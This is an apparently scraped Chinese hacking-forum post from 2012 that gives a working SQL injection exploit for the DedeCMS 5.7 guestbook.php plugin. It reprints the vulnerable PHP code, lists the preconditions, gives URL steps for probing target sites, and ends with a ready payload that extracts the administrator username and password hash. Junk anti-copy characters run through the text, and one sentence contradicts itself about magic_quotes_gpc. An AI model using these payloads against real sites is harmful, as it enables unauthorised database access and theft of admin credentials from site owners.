中国网络渗透测试联盟
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
[打印本页]
作者:
admin
时间:
2012-11-13 13:24
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
4 ]% h( L `0 q" {/ \/ D' ~
" W) ]7 z5 _& D: _3 ?
漏洞文件edit.inc.php具体代码:
: S3 Q3 x$ P/ k
2 \+ |$ Q* Y+ |+ \+ A1 [
< ?php
6 C$ y L1 _ Y, R
/ x* m6 D$ h' E4 M
if(!defined('DEDEINC')) exit('Request Error!');
6 t! w9 f! N( W) X0 _
7 S, w! X$ t) L0 p) `& o! t' G
% e1 H' z3 B1 K) d6 M% R+ m6 ~4 t
' w. q. D4 D' [8 Y3 w1 b2 W3 U
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
" y Q6 ~/ g" L& f
8 A! m. c4 H+ a
else $GUEST_BOOK_POS = "guestbook.php";
! k( a3 J* ]' z- W i
" T" k5 r0 J4 A! \
, p+ E0 `$ P, D4 M% v5 h
7 J3 `# ]+ p. D5 f) G
$id = intval($id);
1 A3 m2 }$ h% ?* j. @
9 W; W: x6 T/ g
if(empty($job)) $job='view';
, @0 F& q/ v* ]
q9 T+ u* |/ c+ A2 H1 M
+ u! G8 l6 n8 { ]# j1 b
* U* D, b# d% a* z- r
if($job=='del' && $g_isadmin)
0 S5 H$ `% V/ O, P* ^2 G' X2 J3 I
# W0 d% I4 P$ j5 b7 {5 K F
{
3 f+ h( i$ g2 D% x$ x P
! M0 j$ u2 q9 o" e
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
+ y+ \6 D5 [8 a- e
) W+ g2 X/ @% J4 O
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
3 S4 a2 Y! T! c, v
4 e+ K" ^& H5 n4 D4 s4 o1 b1 {
exit();
G% \* X2 l- m x2 K
$ s0 ?; j7 j5 _( t, N7 r( r+ U2 `
}
6 y P7 e3 `0 N: Z; m! f% C/ _0 ~
6 [3 A- H" ~) q. d2 j7 j! U5 H( Y' @
else if($job=='check' && $g_isadmin)
5 i( j4 U0 t6 ~4 W5 A) D$ J
4 z8 c5 O! E- x! H$ ^
{
$ ^& {2 {7 {$ Y. [% T0 l, h# g
2 T) d: G5 K' k; X4 J- z3 g
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
+ o* | J- O- _% r$ s/ C
$ `) Y, g$ }' Y4 G( s$ n
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
4 R7 Q0 R9 M: V" X# r/ w$ f
* F" x6 s2 W9 ~8 {$ k$ }+ K
exit();
1 `0 \2 `3 v: n2 c
( e5 V1 ^2 `' ~2 S7 M
}
# ^& ~6 U- R$ o }6 `& K
: r4 T) u* J/ j8 w
else if($job=='editok')
/ \* p& D4 M8 p8 A, A8 L
2 D o3 `; _7 z0 M3 T
{
0 b' j4 h( _5 p( O e
P/ d4 K( m( K/ N, \0 c6 G9 o
$remsg = trim($remsg);
/ Y" G. i+ ^7 }5 q
, r- w1 G" C# j) `' X& |. W+ a% l
if($remsg!='')
6 Z' \( W7 Y* T! e$ V
- u" a: Q3 G( U6 t
{
; l! N2 g5 u$ h$ k
, V* B" z+ x& s. N+ l; c
//管理员回复不过滤HTML By:Errorera blog:errs.cc
- E3 L& ^8 i; V5 c
, z, L) R: L9 w. x2 ~: B6 C
if($g_isadmin)
, s( {: [$ {, @) ^; Q7 `
% S' r! M5 U8 C! j. N
{
, [( s& n- ]: f
6 F* X, z" q0 _ @( |6 e p
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
5 A3 f$ O- c6 A) Q1 g& ?
9 k/ d( i# V8 H( W
//$remsg <br /><font color=red>管理员回复:</font> }
3 `) ?, R# ^7 L! P2 v5 \
0 N7 Y8 q- I2 W( a) P
else
! F2 i" J; A$ n9 [3 c/ a6 }
$ ^" Y3 W3 ]% O4 A) g
{
7 S6 Q" C7 @4 e5 ^) E2 f/ W9 B
) l. V) Y1 m M" U4 p
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
- ?7 R' ~+ |3 \
/ {* Q! C: ?' L4 G) @
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
% z: R- @+ r! M+ C. R' m6 Z& Q+ |
3 P8 }5 W- O4 p! \9 i: m
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
7 t& R8 P, u/ R: g5 y* t+ s5 U
9 K( [% |' k% u7 u K8 m8 j0 M
$msg = $oldmsg.$remsg;
6 D$ Y& C0 J/ c) F; w% Z/ U' e
" j$ m2 j( }- s9 K, H
}
) s. U% R* {+ a* K; [" G# [9 }
( H9 x* t5 V H% t' R
}
* E: k4 O2 O0 z8 B$ S
' {- g1 n& Q& m s9 j4 E3 b
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:
www.errs.cc
- [6 R" ^: f6 s' }4 ^
" O" N4 j2 K- B5 t! y* b& V* R
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
$ H( P& W$ C5 O0 C' V: V4 T
, \* \; v1 i0 I/ m" J) y4 u
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
: c ?8 y2 a5 p, \( X7 J+ K3 p
7 `0 p3 L- G, q
exit();
! ~1 x4 h0 r& { D" q! U
$ `$ j1 R R3 f: t
}
( f6 i- m( F* h/ p3 ?& j
) X: G& X- j) y' z. Q! Z
//home:
www.errs.cc
% Y- A, t, \, _% L# G' H O
( k3 e3 n w1 ~% Z3 ^+ W
if($g_isadmin)
7 F- ^) y: w, ?- `1 n4 h+ b+ {* j9 N7 Z
# j) x7 h# x) n! n0 Z" s$ y$ r+ L
{
( B7 m$ L+ F8 g- T+ |9 n& e
) M, B7 L8 K1 s. ?
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
. M8 @7 n5 g6 h- I. Q& S: H3 \+ t
9 O% f: u( n+ N# f
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
: H" X) o2 J: |1 M( Q& M
* e+ r' |7 J6 Z$ e5 H" V, d# i. e
}
0 [6 C; G5 H* O0 T* d
1 B+ r7 d2 D& ]1 R( ~# I
else
2 u6 O `- J5 Y: S
( t6 J, [; P \ A
{
4 k1 j( ]! b u' D$ `2 E
( ]( e' b5 n" j
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
7 U$ D+ T8 p8 c
. R: _: e* z8 B( s' U/ N$ h7 c
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
7 \+ [6 B6 A1 u, [
* r! a9 t+ e- ~6 H8 C& P9 b
} 漏洞成功需要条件:
- v: z0 _5 V) t; p$ t; c) o7 K; a
1. php magic_quotes_gpc=off
" r, M+ S, V, A$ O8 S0 \' b
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
7 q! ?5 z1 F6 x
4 e# g1 c" z8 e. r2 X6 z; `$ G6 o7 F3 P1 |
怎么判断是否存在漏洞:
+ S2 ?$ U8 A/ y8 P4 o# t" [ j
先打开
www.xxx.com/plus/guestbook.php
可以看到别人的留言,
5 R7 ^& Z) x" Q7 e R6 w9 T! g c
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
^# T( X) _4 X5 o: }7 P3 C* _
访问:
; @1 r6 T9 J7 U& U9 I& j9 ^1 A4 Q3 O
1 P P& K& n0 [$ \6 i* P% s
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc
存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
, k0 S) v# M3 @( C1 q! z3 A* I
跳回到
www.xxx.com/plus/guestbook.php
看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
9 x9 ~1 w: E* `4 ?1 G; w6 u
. R7 Y1 V% u. ?$ Q" |3 S
4 ? Q, g8 Q$ r' T, D
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
) B# z5 [3 R0 \* Y4 b
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
' p/ } X Y9 [
那么再次访问
" b2 e" g" ]6 J5 t0 q7 a. S
3 ?6 n2 ] B" q# u
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=
存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
* I* R( S/ Q# t1 U
- w, d3 h. [5 Q$ C c1 \7 C
大概利用就是这样,大家有兴趣的多研究下!!
7 M. F8 I* T1 q) u6 b+ H& U
# h$ \3 ]3 v5 s* F- u, p. q& I
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
z \9 Y$ T1 D6 v9 S8 s4 n
) ?8 _' V; \- Z/ ]# y
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2